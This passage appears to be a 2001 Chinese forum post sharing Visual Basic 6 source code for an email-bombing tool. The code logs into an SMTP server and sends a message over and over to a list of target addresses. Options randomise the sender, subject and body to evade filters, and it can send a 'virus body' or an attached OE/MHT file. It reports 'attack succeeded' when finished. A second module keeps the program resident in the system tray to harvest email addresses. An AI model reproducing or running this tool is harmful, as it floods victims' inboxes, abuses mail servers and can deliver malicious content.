= True status.Caption = "登录中" StatusBar1.Panels(8).Text = txtTo.Text SmallStatus '设置WinSock使用的服务器和端口 Winsock1.RemoteHost = txtSMTPServer.Text Winsock1.RemotePort = 25 ProgressBar1.Value = 5 If txtSender = "" Then txtSender = Mid(txtFrom, 1, k - 1) End If m_State = 1 Winsock1.Connect '连接到服务器 End Sub Private Sub StatusBar1_OLEDragDrop(Data As MSComctlLib.DataObject, Effect As Long, Button As Integer, Shift As Integer, x As Single, y As Single) Dim i As Integer Dim FName As String   If Data.GetFormat(vbCFFiles) Then     For i = 1 To Data.Files.count        FName = Data.Files(i)        InputFromFile (FName)     Next i   End If End Sub Private Sub StatusBar1_PanelDblClick(ByVal Panel As MSComctlLib.Panel) If Large_Or_Small = True Then SmallStatus Else LargeStatus End If End Sub Private Sub Tim_Speed_Timer() Dim ShowValue As Single ShowValue = CStr(mailnumber - count1) / 2 If ShowValue > 0 And ShowValue < 1 Then StatusBar1.Panels(6).Text = "0" & CStr(mailnumber - count1) / 2 & "M/S" Me.Caption = "速度:" & "0" & CStr(mailnumber - count1) / 2 Else StatusBar1.Panels(6).Text = CStr(mailnumber - count1) / 2 & "M/S" Me.Caption = "速度:" & CStr(mailnumber - count1) / 2 End If count1 = mailnumber End Sub Private Sub Timer1_Timer() status.Caption = "连接超时" Me.Caption = "登录失败!" Timer1.Enabled = False Tim_Speed.Enabled = False ProgressBar1.Value = 0 Winsock1.Close If MnuConnectAuto.Checked Then send_Click End If End Sub Private Sub Toolbar1_ButtonClick(Index As Integer, ByVal Button As MSComctlLib.Button) Dim i As Integer Dim j As Integer Select Case Index     Case 0         a1     Case 1         a2     Case 2         PopupMenu MnuAttack     Case 3               send_Click     Case 4            Case 5             Case 6        If Check1.Value <> 1 Then        Exit Sub        Else        attack.Show        End If    Case 7    Case 8    If txtFrom.Text <> "" And txtSubject <> "" And txtTo <> "" And txtSMTPServer <> "" Then         Else    MsgBox "请填全所有必要信息!"    End If     End Select End Sub Function CheckA(indata) If (indata >= "a" And indata <= "z") Or (indata >= "A" And indata <= "Z") Or (indata >= "0" And indata <= "9") Or indata = "_" Or indata = "." Or indata = "-" Then   CheckA = 1 Else CheckA = 0 End If End Function Private Sub SmallStatus() StatusChange (False) Me.Height = ProgressBar1.Height + StatusBar1.Height + 500 status.Top = StatusBar1.Top - 300 ProgressBar1.Top = StatusBar1.Top - 400 send.Top = StatusBar1.Top - 400 CmdStop.Top = StatusBar1.Top - 400 End Sub Function StatusChange(ByVal flag As Boolean) Label7.Visible = flag txtSender.Visible = flag MnuApply.Visible = flag MnuNetAdr.Visible = flag MnuReadme.Visible = flag MnuAttack.Visible = flag MnuBombKind.Visible = flag MnuAnti.Visible = flag MnuMailGet.Visible = flag Large_Or_Small = flag Label1.Visible = flag txtFrom.Visible = flag Label2.Visible = flag txtTo.Visible = flag chkSMTP.Visible = flag Label6.Visible = flag Combo1.Visible = flag Label5.Visible = flag txtSMTPServer.Visible = flag Frame1.Visible = flag Label9.Visible = flag TxtUser.Visible = flag Label10.Visible = flag txtPwd.Visible = flag Label3.Visible = flag txtSubject.Visible = flag Label4.Visible = flag txtContent.Visible = flag End Function Private Sub LargeStatus() StatusChange (True) Me.Height = 5910 status.Top = StatusBar1.Top - 300 ProgressBar1.Top = StatusBar1.Top - 400 send.Top = StatusBar1.Top - 400 CmdStop.Top = StatusBar1.Top - 400 End Sub Function MyASC(OneChar) If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar) End Function Private Function Base64Encode(indata) '作用:将字符串inData转换为Base64编码格式的字符串,作为函数返回值 Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" Dim cOut, sOut, i '每组数据三字节 For i = 1 To Len(indata) Step 3 Dim nGroup As Long Dim pOut, sGroup '为三个字节创建一个长整型的整数(四字节) nGroup = &H10000 * Asc(Mid(indata, i, 1)) + &H100 * MyASC(Mid(indata, i + 1, 1)) + MyASC(Mid(indata, i + 2, 1)) 'Oct分割长整型为8组3bit的字符组合 sGroup = Oct(nGroup) '添加前导零位 sGroup = String(8 - Len(sGroup), "0") & sGroup '转化为base64字符串 pOut = Mid(Base64, CLng("&o" & Mid(sGroup, 1, 2)) + 1, 1) + Mid(Base64, CLng("&o" & Mid(sGroup, 3, 2)) + 1, 1) + Mid(Base64, CLng("&o" & Mid(sGroup, 5, 2)) + 1, 1) + Mid(Base64, CLng("&o" & Mid(sGroup, 7, 2)) + 1, 1) '添加到输出字符串 sOut = sOut + pOut '为每76个字符添加一个新行(76*3/4=57) If (i + 2) Mod 57 = 0 Then sOut = sOut + vbCrLf Next Select Case Len(indata) Mod 3 Case 1: '8 bit  sOut = Left(sOut, Len(sOut) - 2) + "==" Case 2: '16 bit  sOut = Left(sOut, Len(sOut) - 1) + "=" End Select Base64Encode = sOut End Function Private Sub txtFrom_LostFocus() '作用:根据发送人信息,自动填写用户名和SMTP服务器 If chkSMTP.Value = 1 Then Dim i As Integer i = InStr(1, txtFrom, "@") If i <> 0 Then   TxtUser = Mid(txtFrom, 1, i - 1)   txtSMTPServer = "smtp." & Mid(txtFrom, i + 1, Len(txtFrom) - i)   ElseIf i = 0 And txtFrom <> "" Then   MsgBox "发信人地址格式错误", vbCritical, "提示:"   txtFrom.SetFocus   End If End If End Sub Private Sub txtTo_LostFocus() Dim i As Integer Dim correct As Integer correct = CheckMailAdr(txtTo) i = InStr(1, txtTo, ";") If i <> 0 And correct Then Split_to txtTo.Text = Left(txtTo.Text, i - 1) End If End Sub Function CheckMailAdr(ByVal Addr As String) Dim i As Integer Dim j As Integer j = InStr(1, Addr, ".") i = InStr(1, Addr, "@") If (i = 0 Or j = 0) And Addr <> "" Then  MsgBox "收信人地址格式错误", vbCritical, "提示:"  txtTo.SetFocus  CheckMailAdr = 0 ElseIf Addr = "" Then  CheckMailAdr = 0 Else  CheckMailAdr = 1 End If End Function Private Sub Split_to() Dim i As Integer Dim varlines As Variant Dim varline As Variant Dim strmessage As String strmessage = txtTo.Text List1.Clear varlines = Split(strmessage, ";") For Each varline In varlines i = InStr(1, varline, "@") If i Then List1.AddItem LCase(CStr(varline)) End If Next End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim LineString As String   If Winsock1.state = 0 Or Winsock1.state = 8 Or Winsock1.state = 9 Then Exit Sub   Timer1.Enabled = False   On Error GoTo error:   Winsock1.GetData strServerResponse   strResponseCode = Left(strServerResponse, 3)   If strResponseCode = "250" Or strResponseCode = "220" Or strResponseCode = "354" Or strResponseCode = "221" Or strResponseCode = "235" Or strResponseCode = "334" Then     Select Case m_State        Case 1          ProgressBar1.Value = 10          strDataToSend = Trim$(txtFrom)          strDataToSend = Left$(strDataToSend, InStr(1, strDataToSend, "@") - 1)          status.Caption = "已连接"          If chkSMTP Then            Winsock1.SendData "EHLO " & strDataToSend & vbCrLf            m_State = 2          Else            Winsock1.SendData "HELO " & strDataToSend & vbCrLf            m_State = 5          End If        Case 2          m_State = 3          status.Caption = "正在认证"          ProgressBar1.Value = 15          Winsock1.SendData "AUTH LOGIN" & vbCrLf        Case 3          m_State = 4          ProgressBar1.Value = 20          Winsock1.SendData Base64Encode(User) & vbCrLf        Case 4          m_State = 5          ProgressBar1.Value = 25          Winsock1.SendData Base64Encode(pwd) & vbCrLf        Case 5          ProgressBar1.Value = 30          m_State = 6          status.Caption = "正在发送"          Winsock1.SendData "MAIL FROM:" & Trim$(txtFrom.Text) & vbCrLf        Case 6          m_State = 7          ProgressBar1.Value = 40          Winsock1.SendData "RCPT TO:" & Trim$(txtTo.Text) & vbCrLf        Case 7          m_State = 8          ProgressBar1.Value = 50          Winsock1.SendData "DATA" & vbCrLf        Case 8          m_State = 5          ProgressBar1.Value = 60          Randomize          If MnuAntiFrom.Checked Then           txtSender = RandomContent(Int((15 - 5 + 1) * Rnd) + 5)          End If          If MnuAntiSubject.Checked Then           txtSubject = RandomContent(Int((20 - 5 + 1) * Rnd) + 5)          End If          If MnuAntiContent.Checked Then           txtContent = RandomContent(Int((2000 - 1000 + 1) * Rnd) + 1000)          End If          If MnuKindText.Checked Then           Winsock1.SendData "from: " & txtSender & vbCrLf & "subject: " & txtSubject & vbCrLf & "MIME-Version: 1.0" & vbCrLf & Priority & MailBody & vbCrLf & "." & vbCrLf           ProgressBar1.Value = 80          ElseIf Not MnuKindText.Checked And OEFName = "" Then           Winsock1.SendData "from: " & txtSender & vbCrLf & "subject: " & txtSubject & vbCrLf & "MIME-Version: 1.0" & vbCrLf & Priority & VirusBody & vbCrLf & "." & vbCrLf           ProgressBar1.Value = 80          Else           If OEFName = "" Then             MsgBox "错误选择OE或Mht文档!", vbCritical, "提示"             Winsock.Close             Exit Sub           End If           Open OEFName For Input As #1           While Not EOF(1)           Line Input #1, LineString           LineString = LineString & vbCrLf           Winsock1.SendData LineString           Wend           Close #1           Winsock1.SendData vbCrLf & "." & vbCrLf          End If          status.Caption = "发送完成"          ProgressBar1.Value = 100          mailnumber = mailnumber + 1          StatusBar1.Panels(4).Text = CStr(mailnumber)          If mailnumber < BombNumber Then           m_State = 5          ElseIf mailnumber >= BombNumber And List1.ListIndex < List1.ListCount - 1 Then          List1.ListIndex = List1.ListIndex + 1          txtTo.Text = List1.Text          StatusBar1.Panels(8).Text = txtTo.Text          mailnumber = 0          count1 = 0          m_State = 5          Else: m_State = 9: Tim_Speed.Enabled = False: mailnumber = 0: StatusBar1.Panels(4).Text = "0"          End If        Case 9          m_State = 10          status.Caption = "攻击成功"          Winsock1.SendData "QUIT" & vbCrLf        Case 10          Winsock1.Close          MsgBox "目标已攻击完毕!", vbInformation, "报告:"          Exit Sub        End Select   Else     If strResponseCode = "535" Then     MsgBox "错误的用户名或密码", vbInformation, "验证错误"     Winsock1.Close     Exit Sub     End If     If strResponseCode = "421" Or strResponseCode = "552" Then     Winsock1.Close     send_Click     Exit Sub     End If     If Not (m_State = 9 Or m_State = 10) Then error: MsgBox "服务返回码:" & strResponseCode & vbCrLf & "服务器信息:" & strServerResponse & vbCrLf & "发信状态号:" & m_State & vbCrLf & "出错描述: " & Err.Description, vbInformation, "发信出错"     Winsock1.Close     Exit Sub     End If   End If End Sub Function RandomContent(ByVal Length As Integer) Dim i As Integer Dim TempString As String Dim TempChar As String Dim x As Integer Randomize For i = 1 To Length x = Int((122 - 48 + 1) * Rnd) + 48 If x > 57 And x < 65 Or x > 90 And x < 97 Then x = x + 7 End If TempString = TempString + Chr(x) Next i RandomContent = TempString End Function 补充日期: 2001-12-17 19:52:22 主模块源代码,主要用Shell_NotifyIcon 完成最小化到任务条里、驻留内存调用form1的提取email地址功能 Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long Public Declare Function DrawIcon Lib "user32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal hicon As Long) As Long Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Public Declare Function TrackPopupMenu Lib "user32" (ByVal hMenu As Long, ByVal wFlags As Long, ByVal x As Long, ByVal y As Long, ByVal nReserved As Long, ByVal hwnd As Long, lprc As Any) As Long Public Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As Long Public Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long Public Type POINTAPI   x As Long   y As Long End Type Public Type NOTIFYICONDATA   cbSize As Long          '结构的长度   hwnd As Long           '消息接收窗口的句柄   uID As Long            '图标的标识   uFlags As Long          '设置参数   uCallbackMessage As Long     '回调消息的值   hicon As Long           '图标句柄   szTip As String * 64       '提示字符串 End Type Public Const NIM_ADD = 0       '添加图标 Public Const NIM_MODIFY = 1      '修改图标 Public Const NIM_DELETE = 2      '删除图标 Public Const NIF_MESSAGE = 1     '当有鼠标事件发生时产生消息 Public Const NIF_ICON = 2       ' Public Const NIF_TIP = 4       '图标有提示字符串 Public Const WM_LBUTTONDOWN = &H201 Public Const WM_RBUTTONDOWN = &H204 Public Const WM_USER = &H400 Public Const WM_NOTIFYICON = WM_USER + &H100 Public Const WM_COMMAND = &H111 Public Const WM_DESTROY = &H2 Public Const WM_DRAWITEM = &H2B Public Const WM_INITDIALOG = &H110 Public Const WM_PAINT = &HF Public Const WM_MENUSELECT = &H11F Public Const GWL_WNDPROC = (-4) '替换窗口处理函数 Dim pmenu As Long Dim submenu As Long Global lproc As Long Function CMenu() As Boolean '这个函数获得Form1的子菜单  Dim l As Long  Dim l1 As Long  pmenu = GetMenu(Form1.hwnd)  submenu = GetSubMenu(pmenu, 0)  If submenu Then   CMenu = True  Else   CMenu = False  End If End Function Function Icon_Del(ihwnd As Long) As Long  Dim ano As NOTIFYICONDATA  Dim l As Long  ano.hwnd = ihwnd  ano.uID = 0  ano.cbSize = Len(ano)  '删除图标  Icon_Del = Shell_NotifyIcon(NIM_DELETE, ano) End Function '这个函数接收图标句柄和窗口句柄并且新建图标 Function Icon_Add(ihwnd As Long, hicon As Long) As Long  Dim ano As NOTIFYICONDATA  Dim astr As String    '为图标添加提示行  astr = "自动信箱收信机工作中..."  ano.szTip = astr + Chr$(0)  '设置消息接收窗口  ano.hwnd = ihwnd  ano.uID = 0  '图标有提示并且可以发送消息  ano.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE  ano.hicon = hicon  ano.cbSize = Len(ano)   '将图标的回调消息设置为WM_NOTIFYICON,当在图标区域有鼠标消息,系统就会向  '消息接收窗口发送WM_NOTIFYICON消息。  ano.uCallbackMessage = WM_NOTIFYICON  Icon_Add = Shell_NotifyIcon(NIM_ADD, ano) End Function Function DialogProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long '该函数为Form2的窗口处理函数。  Dim l As Long  Dim l1 As Long  Dim po As POINTAPI  Select Case uMsg   Case WM_INITDIALOG   Case WM_DESTROY   Case WM_COMMAND   Case WM_DRAWITEM   Case WM_NOTIFYICON '有鼠标事件产生    Select Case lParam     Case WM_LBUTTONDOWN   '按下鼠标左键       '提示是否删除图标       Form1.Show       Form1.WindowState = vbNormal           Case WM_RBUTTONDOWN   '按下鼠标右键弹出菜单      If submenu Then        Form1.Show      End If     Case Else    End Select   Case Else    DialogProc = False  End Select  DialogProc = True End Function   补充日期: 2001-12-17 20:28:19 不好意思,长了点,大家还是去下源文件吧! 给我写信